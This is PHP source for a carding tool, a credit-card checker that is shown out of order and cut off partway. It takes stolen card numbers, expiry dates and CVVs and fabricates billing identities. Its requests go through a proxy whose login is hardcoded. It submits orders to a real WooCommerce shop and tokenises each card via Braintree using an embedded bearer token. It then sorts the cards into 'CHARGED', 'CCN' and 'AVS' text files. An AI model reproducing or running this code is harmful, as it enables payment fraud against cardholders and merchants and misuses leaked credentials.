  echo '<span class="badge badge-success">#Approved</span> <span class="badge badge-success"></span> <span class="badge badge-success">' . $lista . '</span> <span class="badge badge-success"></span> <span class="badge badge-success">  CVV MATCHED  </span></br>'; 
} 
elseif(strpos($result3, '"succeeded"' )) { 
  echo '<span class="badge badge-success">#Approved</span> <span class="badge badge-success"></span> <span class="badge badge-success">' . $lista . '</span> <span class="badge badge-success"></span> <span class="badge badge-success">  CVV MATCHED  </span></br>'; 
} 
elseif(strpos($result3, '"pass"' )) { 
  echo '<span class="badge badge-success">#Approved</span> <span class="badge badge-success"></span> <span class="badge badge-success">' . $lista . '</span> <span class="badge badge-success"></span> <span class="badge badge-success">  CVV MATCHED  </span></br>'; 
} 
elseif(strpos($result3, 'approved_by_network' )) { 
  echo '<span class="badge badge-success">#Approved</span> <span class="badge badge-success"></span> <span class="badge badge-success">' . $lista . '</span> <span class="badge badge-success"></span> <span class="badge badge-success">  CVV MATCHED  </span></br>'; 
          fwrite(fopen("CHARGED.txt", "a+"), "$cc|$mes|$ano|$cvv
"); 
    exit(); 
} 
elseif(strpos($result3, 'https://pay.stripe.com/receipts/' )) { 
  echo '<span class="badge badge-success">#Approved</span> <span class="badge badge-success"></span> <span class="badge badge-success">' . $lista . '</span> <span class="badge badge-success"></span> <span class="badge badge-success">  CVV MATCHED  </span></br>'; 
} 
elseif(strpos($result3, "we do not accept prepaid cards at this time." )) { 
  echo '<span class="badge badge-success">#Approved</span> <span class="badge badge-success"></span> <span class="badge badge-success">' . $lista . '</span> <span class="badge badge-success"></span> <span class="badge badge-success">  CVC MATCHED  </span></br>'; 
} 
elseif(strpos($result3, 'ocat2ion')) { 
 
  echo '<span class="badge badge-success">#Approved</span> <span class="badge badge-success"></span> <span class="badge badge-success">' . $lista . ' </span> <span class="badge badge-pink"></span> <span class="badge badge-pink">  CCN MATCHED [Location]  </span></br>';  
 
} 
elseif(strpos($result3, 'security code')) { 
 
  echo '<span class="badge badge-success">#Declined</span> <span class="badge badge-success"></span> <span class="badge badge-success">' . $lista . ' </span> <span class="badge badge-pink"></span> <span class="badge badge-pink">  CCN MATCHED []  </span></br>';  
          fwrite(fopen("CCN.txt", "a+"), "$cc|$mes|$ano|$cvv
"); 
    exit(); 
 
} 
elseif(strpos($result3, "Card Issuer Declined CVV")) { 
  echo '<span class="badge badge-success">#Declined</span> <span class="badge badge-success"></span> <span class="badge badge-success">' . $lista . ' </span> <span class="badge badge-pink"></span> <span class="badge badge-pink">  CCN MATCHED [Card Issuer Declined CVV]  </span></br>';  
        fwrite(fopen("CCN.txt", "a+"), "$cc|$mes|$ano|$cvv
"); 
    exit(); 
} 
elseif(strpos($result3, "Gateway Rejected: cvv")) { 
  echo '<span class="badge badge-success">#Approved</span> <span class="badge badge-success"></span> <span class="badge badge-success">' . $lista . ' </span> <span class="badge badge-pink"></span> <span class="badge badge-pink">  CCN MATCHED [Gateway Rejected: cvv]  </span></br>';  
        fwrite(fopen("CCN.txt", "a+"), "$cc|$mes|$ano|$cvv
"); 
    exit(); 
} 
elseif(strpos($result3, 'Gateway Rejected: avs_and_cvv')) { 
  echo '<span class="badge badge-success">#Approved</span> <span class="badge badge-success"></span> <span class="badge badge-success">' . $lista . ' </span> <span class="badge badge-pink"></span> <span class="badge badge-pink">  CCN MATCHED [Gateway Rejected: avs_and_cvv]  </span></br>';  
        fwrite(fopen("CCN.txt", "a+"), "$cc|$mes|$ano|$cvv
"); 
    exit(); 
} 
elseif(strpos($result3, 'Gateway Rejected: avs' )) { 
  echo '<span class="badge badge-success">#Approved</span> <span class="badge badge-success"></span> <span class="badge badge-success">' . $lista . '</span> <span class="badge badge-success"></span> <span class="badge badge-success">  [Gateway Rejected: avs] </span></br>'; 
                fwrite(fopen("AVS.txt", "a+"), "$cc|$mes|$ano|$cvv
"); 
    exit(); 
} 
elseif(strpos($result3, 'zip' )) { 
  echo '<span class="badge badge-success">#Approved</span> <span class="badge badge-success"></span> <span class="badge badge-success">' . $lista . '</span> <span class="badge badge-success"></span> <span class="badge badge-success">  CVV:M AVS: FAILED </span></br>'; 
                fwrite(fopen("AVS.txt", "a+"), "$cc|$mes|$ano|$cvv
"); 
    exit(); 
} 
elseif(strpos($result3, 'incorrect_zip' )) { 
  echo '<span class="badge badge-success">#Approved</span> <span class="badge badge-success"></span> <span class="badge badge-success">' . $lista . '</span> <span class="badge badge-success"></span> <span class="badge badge-success">  CVV:M AVS: FAILED </span></br>'; 
              fwrite(fopen("AVS.txt", "a+"), "$cc|$mes|$ano|$cvv
"); 
    exit(); 
} 
elseif(strpos($result3, 'Insufficient Funds')) { 
  echo '<span class="badge badge-success">#Declined</span> <span class="badge badge-success"></span> <span class="badge badge-success">' . $lista . '</span> <span class="badge badge-pink"></span> <span class="badge badge-pink">  Insufficient Funds  </span></br>'; 
            fwrite(fopen("insufficient funds.txt", "a+"), "$cc|$mes|$ano|$cvv
"); 
    exit(); 
} 
elseif(strpos($result3, 'Limit Exceeded')) { 
  echo '<span class="badge badge-success">#Declined</span> <span class="badge badge-success"></span> <span class="badge badge-success">' . $lista . '</span> <span class="badge badge-pink"></span> <span class="badge badge-pink">  Limit Exceeded </span></br>'; 
            fwrite(fopen("Limit Exceeded.txt", "a+"), "$cc|$mes|$ano|$cvv
"); 
    exit(); 
} 
elseif(strpos($result3, 'The card was declined.')) { 
  echo '<span class="new badge red">#Declined</span> <span class="new badge red">X</span> <span class="new badge red">' . $lista . ' </span> <span class="new badge red"></span>X<span class="badge badge-pink">  [The card was declined.]['.$decline_code.'] </span> </br>'; 
} 
elseif(strpos($result2, 'generic_decline')) { 
  echo '<span class="new badge red">#Declined</span> <span class="new badge red">X</span> <span class="new badge red">' . $lista . ' </span> <span class="new badge red"></span>X<span class="badge badge-pink">  [Generic_Decline] </span> </br>'; 
} 
elseif(strpos($result3, 'We were unable to process your order, please try again.')) { 
  echo '<span class="new badge red">#Declined</span> <span class="new badge red">X</span> <span class="new badge red">' . $lista . ' </span> <span class="new badge red"></span>X<span class="badge badge-pink">  [We were unable to process your order, please try again.] </span> </br>'; 
} 
elseif(strpos($result3, 'session has expired.')) { 
  echo '<span class="new badge red">#Declined</span> <span class="new badge red">X</span> <span class="new badge red">' . $lista . ' </span> <span class="new badge red"></span>X<span class="badge badge-pink">  [Session Has Expired.] </span> </br>'; 
} 
elseif(strpos($result3, 'message')) { 
  echo '<span class="new badge red">#Declined</span> <span class="new badge red">X</span> <span class="new badge red">' . $lista . ' </span> <span class="new badge red"></span>X<span class="badge badge-pink">  '.$msg.'['.$code.'] </span> </br>'; 
} 
elseif(strpos($result3, 'true' )) { 
  echo '<span class="badge badge-success">#Approved</span> <span class="badge badge-success"></span> <span class="badge badge-success">' . $lista . '</span> <span class="badge badge-success"></span> <span class="badge badge-success">  CVV MATCHED [TRUE] </span></br>'; 
} 
else { 
  echo '<span class="new badge red">#Declined</span> <span class="new badge red"></span> <span class="new badge red">' . $lista . ' </span> <span class="new badge red"></span> <span class="badge badge-pink">  '.$msg.' '.$req.'['.$code.'] </span> </br>'; 
} 
 
curl_close($ch); 
ob_flush(); 
 ?>

Did this file decode correctly?

Original Code

<?php

//===================== [ MADE BY PREDATOR ] ====================//
#---------------[ WITH PROXY ]----------------#


error_reporting(0);

unlink(getcwd() . '/cookie.txt');
date_default_timezone_set('America/Buenos_Aires');

function GetStr($string, $start, $end)
{
    $string = ' ' . $string;
    $ini = strpos($string, $start);
    if ($ini == 0) return '';
    $ini += strlen($start);
    $len = strpos($string, $end, $ini) - $ini;
    return trim(strip_tags(substr($string, $ini, $len)));
}


function multiexplode($seperator, $string)
{
    $one = str_replace($seperator, $seperator[0], $string);
    $two = explode($seperator[0], $one);
    return $two;
};
function generateRandomString($length = 16)
{
    $characters = 'abcdefghijklmnopqrstuvwxyz0123456789';
    $charactersLength = strlen($characters);
    $randomString = '';
    for ($i = 0; $i < $length; $i++) {
        $randomString .= $characters[rand(0, $charactersLength - 1)];
    }
    return $randomString;
};

$proxy = $_GET['sec'];
$tg_id = $_GET['cst'];
$lista = $_GET['lista'];
$cc = multiexplode(array(":", "|", ""), $lista)[0];
$mes = multiexplode(array(":", "|", ""), $lista)[1];
$ano = multiexplode(array(":", "|", ""), $lista)[2];
$cvv = multiexplode(array(":", "|", ""), $lista)[3];


$get = file_get_contents('https://randomuser.me/api/1.2/?nat=us');
preg_match_all("(\"first\":\"(.*)\")siU", $get, $matches1);
$name = $matches1[1][0];
preg_match_all("(\"last\":\"(.*)\")siU", $get, $matches1);
$last = $matches1[1][0];
preg_match_all("(\"email\":\"(.*)\")siU", $get, $matches1);
$email = $matches1[1][0];
preg_match_all("(\"street\":\"(.*)\")siU", $get, $matches1);
$street = $matches1[1][0];
preg_match_all("(\"city\":\"(.*)\")siU", $get, $matches1);
$city = $matches1[1][0];
preg_match_all("(\"state\":\"(.*)\")siU", $get, $matches1);
$state = $matches1[1][0];
preg_match_all("(\"phone\":\"(.*)\")siU", $get, $matches1);
$phone = $matches1[1][0];
preg_match_all("(\"postcode\":(.*),\")siU", $get, $matches1);
$zip = $matches1[1][0];
preg_match_all("(\"username\":(.*),\")siU", $get, $matches1);
$user_name = $matches1[1][0];
$numero1 = substr($phone, 1,3);
$numero2 = substr($phone, 6,3);
$numero3 = substr($phone, 10,4);
$phone = $numero1.''.$numero2.''.$numero3;
$serve_arr = array("gmail.com","homtail.com","yahoo.com.br","bol.com.br","yopmail.com","outlook.com");
$serv_rnd = $serve_arr[array_rand($serve_arr)];
$email= str_replace("example.com", $serv_rnd, $email);
if($state=="Alabama"){ $state="AL";
}else if($state=="alaska"){ $state="AK";
}else if($state=="arizona"){ $state="AR";
}else if($state=="california"){ $state="CA";
}else if($state=="olorado"){ $state="CO";
}else if($state=="connecticut"){ $state="CT";
}else if($state=="delaware"){ $state="DE";
}else if($state=="district of columbia"){ $state="DC";
}else if($state=="florida"){ $state="FL";
}else if($state=="georgia"){ $state="GA";
}else if($state=="hawaii"){ $state="HI";
}else if($state=="idaho"){ $state="ID";
}else if($state=="illinois"){ $state="IL";
}else if($state=="indiana"){ $state="IN";
}else if($state=="iowa"){ $state="IA";
}else if($state=="kansas"){ $state="KS";
}else if($state=="kentucky"){ $state="KY";
}else if($state=="louisiana"){ $state="LA";
}else if($state=="maine"){ $state="ME";
}else if($state=="maryland"){ $state="MD";
}else if($state=="massachusetts"){ $state="MA";
}else if($state=="michigan"){ $state="MI";
}else if($state=="minnesota"){ $state="MN";
}else if($state=="mississippi"){ $state="MS";
}else if($state=="missouri"){ $state="MO";
}else if($state=="montana"){ $state="MT";
}else if($state=="nebraska"){ $state="NE";
}else if($state=="nevada"){ $state="NV";
}else if($state=="new hampshire"){ $state="NH";
}else if($state=="new jersey"){ $state="NJ";
}else if($state=="new mexico"){ $state="NM";
}else if($state=="new york"){ $state="LA";
}else if($state=="north carolina"){ $state="NC";
}else if($state=="north dakota"){ $state="ND";
}else if($state=="Ohio"){ $state="OH";
}else if($state=="oklahoma"){ $state="OK";
}else if($state=="oregon"){ $state="OR";
}else if($state=="pennsylvania"){ $state="PA";
}else if($state=="rhode Island"){ $state="RI";
}else if($state=="south carolina"){ $state="SC";
}else if($state=="south dakota"){ $state="SD";
}else if($state=="tennessee"){ $state="TN";
}else if($state=="texas"){ $state="TX";
}else if($state=="utah"){ $state="UT";
}else if($state=="vermont"){ $state="VT";
}else if($state=="virginia"){ $state="VA";
}else if($state=="washington"){ $state="WA";
}else if($state=="west virginia"){ $state="WV";
}else if($state=="wisconsin"){ $state="WI";
}else if($state=="wyoming"){ $state="WY";
}else{$state="KY";} 



if (strlen($mes) == 1) $mes = "0$mes";
//if (strlen($ano) == 2) $ano = "20$ano";

switch ($ano) {
  case '2031':
  $ano = '31';
    break;
  case '2023':
  $ano = '23';
    break;
  case '2024':
  $ano = '24';
    break;
  case '2025':
  $ano = '25';
    break;
  case '2026':
  $ano = '26';
    break;
    case '2027':
    $ano = '27';
    break;
      case '2028':
  $ano = '28';
    break;
  case '2029':
  $ano = '29';
    break;
  case '2030':
  $ano = '30';
    break;
      case '2032':
  $ano = '32';
    break;
      case '2033':
  $ano = '33';
    break;
}

$ip = multiexplode(array(":", "|", ""), $proxy)[0];
$port = multiexplode(array(
    ":",
    "|",
    ""
), $proxy)[1];
$user = multiexplode(array(
    ":",
    "|",
    ""
), $proxy)[2];
$pass = multiexplode(array(
    ":",
    "|",
    ""
), $proxy)[3];

if (file_exists("cookie.txt")) {
    unlink("cookie.txt");
}

$bin = substr($cc, 0,6);

$start = ''.rand(1,15).'';
if (strlen($start) == 1) $start1 = "0$start";
$end = ''.rand(17,25).'';

$month = ''.rand(1,12).'';
if (strlen($month) == 1) $month = "0$month";

$monthNumber = $month; // Replace this with the desired month number (1 to 12)

if ($monthNumber >= 1 && $monthNumber <= 12) {
    $monthName = date("F", mktime(0, 0, 0, $monthNumber, 1));
   // echo "Month $monthNumber corresponds to $monthName.";
} else {
   // echo "Invalid month number. Please enter a number between 1 and 12.";
}


$formData = 'add-to-cart=67&start_date='.$start.'+'.$monthName.'%2C+2024&wc_bookings_field_start_date_month='.$monthNumber.'&wc_bookings_field_start_date_day='.$start1.'&wc_bookings_field_start_date_year=2024&end_date='.$end.'+'.$monthName.'%2C+2024&wc_bookings_field_start_date_to_month='.$month.'&wc_bookings_field_start_date_to_day='.$end.'&wc_bookings_field_start_date_to_year=2024&front-book=1&wc_bookings_field_duration='.$start1.'';

$formData1 = 'add-to-cart=67&start_date=10+November%2C+2023&wc_bookings_field_start_date_month=11&wc_bookings_field_start_date_day=10&wc_bookings_field_start_date_year=2023&end_date=12+November%2C+2023&wc_bookings_field_start_date_to_month=11&wc_bookings_field_start_date_to_day=12&wc_bookings_field_start_date_to_year=2023&front-book=1&wc_bookings_field_duration=3';

$email = generateRandomString() . "%40gmail.com";
$ch = curl_init();
curl_setopt($ch, CURLOPT_PROXY, 'http://brd.superproxy.io:22225');
curl_setopt($ch, CURLOPT_PROXYUSERPWD, 'brd-customer-hl_464a001d-zone-data_center:49s3nq8bi1ts');
curl_setopt($ch, CURLOPT_URL, 'https://roamfree.ninja/');
curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST');
$headers = array(

    'accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'authority: roamfree.ninja',
    'Content-Type: application/x-www-form-urlencoded',
    'origin: https://roamfree.ninja',
    'referer: https://roamfree.ninja/',
    'sec-ch-ua-platform: "Windows"',
    'sec-fetch-mode: navigate',
    'user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36',
);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_COOKIEFILE, getcwd() . '/cookie.txt');
curl_setopt($ch, CURLOPT_COOKIEJAR, getcwd() . '/cookie.txt');
curl_setopt($ch, CURLOPT_POSTFIELDS, $formData1);
$curl1 = curl_exec($ch);
curl_close($ch);
//$checkoutUrl = trim(strip_tags(getStr($curl1, '"checkoutUrl":"','"')));


/*
$ch = curl_init();
//curl_setopt($ch, CURLOPT_PROXY, 'http://zproxy.lum-superproxy.io:22225');
//curl_setopt($ch, CURLOPT_PROXYUSERPWD, 'brd-customer-hl_464a001d-zone-data_center:49s3nq8bi1ts');
curl_setopt($ch, CURLOPT_URL, 'https://www.frontrangeequinerescue.org/cart/');
curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'GET');
$headers = array();
$headers[] = 'Accept: ';
//$headers[] = 'Connection: keep-alive';
//$headers[] = 'Content-Type: multipart/form-data; boundary=----';
//$headers[] = 'Host: www.amun.org';
//$headers[] = 'origin: https://www.amun.org';
$headers[] = 'referer: https://www.frontrangeequinerescue.org/product/donate-2/';
$headers[] = 'Sec-Fetch-Mode: navigate';
$headers[] = 'User-Agent: Mozilla/5.0 (Windows NT '.rand(11,99).'.0; Win64; x64) AppleWebKit/'.rand(111,999).'.'.rand(11,99).' (KHTML, like Gecko) Chrome/'.rand(11,99).'.0.'.rand(1111,9999).'.'.rand(111,999).' Safari/'.rand(111,999).'.'.rand(11,99).'';
//$headers[] = 'x-requested-with: XMLHttpRequest';
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_COOKIEFILE, getcwd() . '/cookie.txt');
curl_setopt($ch, CURLOPT_COOKIEJAR, getcwd() . '/cookie.txt');
//curl_setopt($ch, CURLOPT_POSTFIELDS, $formData);
$curl2 = curl_exec($ch);

$et_ab_log_nonce = trim(strip_tags(getStr($curl2,'"et_ab_log_nonce":"','"')));
$auth = trim(strip_tags(getStr($curl2, 'name="authenticity_token" value="', '"')));

curl_close($ch);
*/


$ch = curl_init();
curl_setopt($ch, CURLOPT_PROXY, 'http://zproxy.lum-superproxy.io:22225');
curl_setopt($ch, CURLOPT_PROXYUSERPWD, 'brd-customer-hl_464a001d-zone-data_center:49s3nq8bi1ts');
curl_setopt($ch, CURLOPT_URL, 'https://roamfree.ninja/checkout/');
curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'GET');
curl_setopt($ch, CURLOPT_HEADER, 1);
$headers = array();
$headers[] = 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7';
//$headers[] = 'Content-Type: application/json';
//$headers[] = 'Cookie: _pk_id.1.bdb5=2a15c20ceaebea2b.1698415739.; _pk_ses.1.bdb5=1; logged_in=1; account=MTY5ODQxNTgzNHxEWDhFQVFMX2dBQUJFQUVRQUFEX3B2LUFBQVFHYzNSeWFXNW5EQTBBQzNSdmRIQmZZbUZqYTNWd0JuTjBjbWx1Wnd3Q0FBQUdjM1J5YVc1bkRBd0FDbU56Y21aZmRHOXJaVzRHYzNSeWFXNW5EQklBRUdocmFsWlJaa296UVhvNGVFdHJRWFFHYzNSeWFXNW5EQXdBQ21GalkyOTFiblJmYVdRR2MzUnlhVzVuREJJQUVHa3RSRTVYUXkxUVNsbEtMVFZLVGxnR2MzUnlhVzVuREEwQUMzUnZkSEJmYzJWamNtVjBCbk4wY21sdVp3d0NBQUE9fNKIJ90B85R0JS8XgeAOdV-ri-O5aTq8jxebQMbTd_bH';
//$headers[] = 'Csrf-Token: hkjVQfJ3Az8xKkAt';
//$headers[] = 'Origin: https://roamfree.ninja';
$headers[] = 'Referer: https://roamfree.ninja/';
$headers[] = 'Sec-Fetch-Mode: navigate';
$headers[] = 'User-Agent: Mozilla/5.0 (Windows NT '.rand(11,99).'.0; Win64; x64) AppleWebKit/'.rand(111,999).'.'.rand(11,99).' (KHTML, like Gecko) Chrome/'.rand(11,99).'.0.'.rand(1111,9999).'.'.rand(111,999).' Safari/'.rand(111,999).'.'.rand(11,99).'';
//$headers[] = 'x-requested-with: XMLHttpRequest';
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_COOKIEFILE, getcwd() . '/cookie.txt');
curl_setopt($ch, CURLOPT_COOKIEJAR, getcwd() . '/cookie.txt');
//curl_setopt($ch, CURLOPT_POSTFIELDS, '');
$curl3 = curl_exec($ch);
$csrf = trim(strip_tags(getStr($curl3,'csrf-token: ','
')));
$checkout_nonce = trim(strip_tags(getStr($curl3,'name=woocommerce-process-checkout-nonce value=','>')));
//////////////////////////////////////////////////

$ch = curl_init();
curl_setopt($ch, CURLOPT_PROXY, 'http://zproxy.lum-superproxy.io:22225');
curl_setopt($ch, CURLOPT_PROXYUSERPWD, 'brd-customer-hl_464a001d-zone-data_center:49s3nq8bi1ts');
curl_setopt($ch, CURLOPT_URL, 'https://payments.braintree-api.com/graphql');
curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
curl_setopt($ch, CURLOPT_POST, 1);
$headers = array();
$headers[] = 'Accept: */*';
$headers[] = 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJFUzI1NiIsImtpZCI6IjIwMTgwNDI2MTYtcHJvZHVjdGlvbiIsImlzcyI6Imh0dHBzOi8vYXBpLmJyYWludHJlZWdhdGV3YXkuY29tIn0.eyJleHAiOjE2OTk2MDI3MjcsImp0aSI6IjU3MDZhNGZkLWU5N2QtNGIwYS1iMDNmLTc4MjlkMTIzODU0YiIsInN1YiI6Imh3dG5taHRxcTVqcm5rcGMiLCJpc3MiOiJodHRwczovL2FwaS5icmFpbnRyZWVnYXRld2F5LmNvbSIsIm1lcmNoYW50Ijp7InB1YmxpY19pZCI6Imh3dG5taHRxcTVqcm5rcGMiLCJ2ZXJpZnlfY2FyZF9ieV9kZWZhdWx0IjpmYWxzZX0sInJpZ2h0cyI6WyJtYW5hZ2VfdmF1bHQiXSwic2NvcGUiOlsiQnJhaW50cmVlOlZhdWx0Il0sIm9wdGlvbnMiOnsibWVyY2hhbnRfYWNjb3VudF9pZCI6ImVwaWZyb25FVVIifX0.JetJHX36Gq5kPKiqdpiA9WthWPuIOpAPsSLWV-Ec8qGEH59RFVsMFNHaMqg2nlQu0I6cGcynNBsQYDI9FVxncQ';
$headers[] = 'Braintree-Version: 2018-05-10';
$headers[] = 'Content-Type: application/json';
//$headers[] = 'Host: www.amun.org';
$headers[] = 'origin: https://assets.braintreegateway.com';
$headers[] = 'referer: https://assets.braintreegateway.com/';
$headers[] = 'Sec-Fetch-Mode: cors';
//$headers[] = 'Sentry-Trace: 0e89747956904e3ead2ca89b545dca92-b51ce95807579c84-1';
$headers[] = 'User-Agent: Mozilla/5.0 (Windows NT '.rand(11,99).'.0; Win64; x64) AppleWebKit/'.rand(111,999).'.'.rand(11,99).' (KHTML, like Gecko) Chrome/'.rand(11,99).'.0.'.rand(1111,9999).'.'.rand(111,999).' Safari/'.rand(111,999).'.'.rand(11,99).'';
//$headers[] = 'X-Csrf-Token: '.$csrf_token.'';
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_COOKIEFILE, getcwd() . '/cookie.txt');
curl_setopt($ch, CURLOPT_COOKIEJAR, getcwd() . '/cookie.txt');
curl_setopt($ch, CURLOPT_POSTFIELDS, '{"clientSdkMetadata":{"source":"client","integration":"dropin2","sessionId":"962d062a-1501-45f2-9813-cf340caab911"},"query":"mutation TokenizeCreditCard($input: TokenizeCreditCardInput!) {   tokenizeCreditCard(input: $input) {     token     creditCard {       bin       brandCode       last4       expirationMonth      expirationYear      binData {         prepaid         healthcare         debit         durbinRegulated         commercial         payroll         issuingBank         countryOfIssuance         productId       }     }   } }","variables":{"input":{"creditCard":{"number":"'.$cc.'","expirationMonth":"'.$mes.'","expirationYear":"'.$ano.'","cvv":"'.$cvv.'"},"options":{"validate":false}}},"operationName":"TokenizeCreditCard"}');


$payment99 = curl_exec($ch);
$token = trim(strip_tags(getStr($payment99,'"token":"','"')));
$requestId = trim(strip_tags(getStr($payment99,'"requestId":"','"')));
//////////////////
$ch = curl_init();
curl_setopt($ch, CURLOPT_PROXY, 'http://zproxy.lum-superproxy.io:22225');
curl_setopt($ch, CURLOPT_PROXYUSERPWD, 'brd-customer-hl_464a001d-zone-data_center:49s3nq8bi1ts');
curl_setopt($ch, CURLOPT_URL, 'https://api.braintreegateway.com/merchants/hwtnmhtqq5jrnkpc/client_api/v1/payment_methods/'.$token.'/three_d_secure/lookup');
curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
curl_setopt($ch, CURLOPT_POST, 1);
$headers = array();
$headers[] = 'Accept: */*';
//$headers[] = 'Authorization: ';
//$headers[] = 'Braintree-Version: 2018-05-10';
$headers[] = 'Content-Type: application/json';
//$headers[] = 'Host: www.amun.org';
$headers[] = 'Origin: https://www.ivpn.net';
$headers[] = 'Referer: https://www.ivpn.net/';
$headers[] = 'Sec-Fetch-Mode: cors';
//$headers[] = 'Sentry-Trace: 0e89747956904e3ead2ca89b545dca92-b51ce95807579c84-1';
$headers[] = 'User-Agent: Mozilla/5.0 (Windows NT '.rand(11,99).'.0; Win64; x64) AppleWebKit/'.rand(111,999).'.'.rand(11,99).' (KHTML, like Gecko) Chrome/'.rand(11,99).'.0.'.rand(1111,9999).'.'.rand(111,999).' Safari/'.rand(111,999).'.'.rand(11,99).'';
//$headers[] = 'X-Csrf-Token: '.$csrf_token.'';
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_COOKIEFILE, getcwd() . '/cookie.txt');
curl_setopt($ch, CURLOPT_COOKIEJAR, getcwd() . '/cookie.txt');
curl_setopt($ch, CURLOPT_POSTFIELDS, '{"amount":"80.55","additionalInfo":{"billingLine1":"'.$street.'","billingLine2":"","billingCity":"'.$city.'","billingState":"'.$state.'","billingPostalCode":"'.$zip.'","billingCountryCode":"US","billingPhoneNumber":"3314782'.rand(111,999).'","billingGivenName":"'.$name.'","billingSurname":"'.$last.'","email":"'.$randomString.'@gmail.com"},"bin":"'.$bin.'","dfReferenceId":"0_28b270b6-77c4-446f-b2ee-87d59be05d05","clientMetadata":{"sdkVersion":"web/3.52.0","requestedThreeDSecureVersion":"2","cardinalDeviceDataCollectionTimeElapsed":2563,"issuerDeviceDataCollectionTimeElapsed":4368,"issuerDeviceDataCollectionResult":true},"authorizationFingerprint":"eyJ0eXAiOiJKV1QiLCJhbGciOiJFUzI1NiIsImtpZCI6IjIwMTgwNDI2MTYtcHJvZHVjdGlvbiIsImlzcyI6Imh0dHBzOi8vYXBpLmJyYWludHJlZWdhdGV3YXkuY29tIn0.eyJleHAiOjE2OTk2MDI3MjcsImp0aSI6IjU3MDZhNGZkLWU5N2QtNGIwYS1iMDNmLTc4MjlkMTIzODU0YiIsInN1YiI6Imh3dG5taHRxcTVqcm5rcGMiLCJpc3MiOiJodHRwczovL2FwaS5icmFpbnRyZWVnYXRld2F5LmNvbSIsIm1lcmNoYW50Ijp7InB1YmxpY19pZCI6Imh3dG5taHRxcTVqcm5rcGMiLCJ2ZXJpZnlfY2FyZF9ieV9kZWZhdWx0IjpmYWxzZX0sInJpZ2h0cyI6WyJtYW5hZ2VfdmF1bHQiXSwic2NvcGUiOlsiQnJhaW50cmVlOlZhdWx0Il0sIm9wdGlvbnMiOnsibWVyY2hhbnRfYWNjb3VudF9pZCI6ImVwaWZyb25FVVIifX0.JetJHX36Gq5kPKiqdpiA9WthWPuIOpAPsSLWV-Ec8qGEH59RFVsMFNHaMqg2nlQu0I6cGcynNBsQYDI9FVxncQ","braintreeLibraryVersion":"braintree/web/3.52.0","_meta":{"merchantAppId":"roamfree.ninja","platform":"web","sdkVersion":"3.52.0","source":"client","integration":"custom","integrationType":"custom","sessionId":"'.$requestId.'"}}');


$lookup = curl_exec($ch);
$lookup_token = trim(strip_tags(getStr($lookup,'"nonce":"','"')));
////////////////////////////////////////////////////


$ch = curl_init();
curl_setopt($ch, CURLOPT_PROXY, 'http://zproxy.lum-superproxy.io:22225');
curl_setopt($ch, CURLOPT_PROXYUSERPWD, 'brd-customer-hl_464a001d-zone-data_center:49s3nq8bi1ts');
curl_setopt($ch, CURLOPT_URL, 'https://roamfree.ninja/?wc-ajax=checkout');
curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
curl_setopt($ch, CURLOPT_POST, 1);
$headers = array();
$headers[] = 'Accept: application/json, text/javascript, */*; q=0.01';
$headers[] = 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8';
